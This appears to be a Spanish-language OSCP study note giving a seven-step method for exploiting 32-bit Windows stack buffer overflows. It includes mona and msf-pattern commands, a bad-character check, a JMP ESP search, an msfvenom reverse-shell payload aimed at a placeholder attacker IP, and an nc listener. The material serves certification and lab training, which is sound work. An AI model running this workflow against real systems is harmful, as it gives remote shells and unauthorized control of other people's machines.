# Buffer Overflow (stack, 32-bit) > El clásico stack BOF de Windows. En el OSCP actual pesa menos (el examen va más a AD), pero sigue cayendo. Metodología de 7 pasos. Fuente: oscp.trastero.org/b0f. > Herramientas: **Immunity Debugger + mona.py**, `msf-pattern_create/offset`, `msfvenom`, `nc`. ## Setup de mona (una vez) ``` !mona config -set workingfolder c:\mona\%p ``` ## Los 7 pasos ``` [ prefix ] + [ "A"*offset ] + [ JMP ESP ] + [ NOPs ] + [ shellcode ] ``` ### 1. Fuzzing — encontrar el crash Script Python que envía buffers crecientes (+100 bytes) hasta que la app casca. ### 2. Offset — posición exacta del EIP ```bash msf-pattern_create -l 3000 # mándalo como buffer msf-pattern_offset -l 3000 -q 39694438 # el valor que quedó en EIP # alternativa en mona: !mona findmsp -distance 3000 # te da "EIP contains normal pattern ... offset XXXX" ``` ### 3. Controlar EIP — confirmar Envía `"A"*offset + "BBBB"` → en el debugger **EIP = 42424242**. Control confirmado. ### 4. Badchars — bytes que corrompen ``` !mona bytearray -b "\x00" # genera \x01..\xff # envías offset + "BBBB" + bytearray, y comparas en memoria (ESP): !mona compare -f C:\mona\app\bytearray.bin -a ``` Quita los corruptos (típico: `\x00`, a veces `\x0a \x0d`) y repite hasta "unmodified". ### 5. JMP ESP — la dirección de retorno ``` !mona jmp -r esp -cpb "\x00\x0a\x0d" # busca un JMP ESP sin badchars # alternativa: objdump -d vuln.exe | grep -i 'jmp.*esp' ``` Apunta la dirección **en little-endian** (ej. `0x625011AF` → `\xAF\x11\x50\x62`). ### 6. Shellcode con msfvenom ```bash msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread \ -b "\x00\x0a\x0d" -f py -v shellcode # Linux: -p linux/x86/shell_reverse_tcp ... -e x86/shikata_ga_nai ``` ### 7. Exploit final ``` buffer = prefix + b"A"*offset + jmp_esp + b"\x90"*16 + shellcode ``` Levanta `nc -lvnp 443` (Reverse shell) y lanza. NOP sled (`\x90`*16) da margen al decoder. Relacionado: Metasploit · Reverse shell · Exploits conocidos · OSCP MOC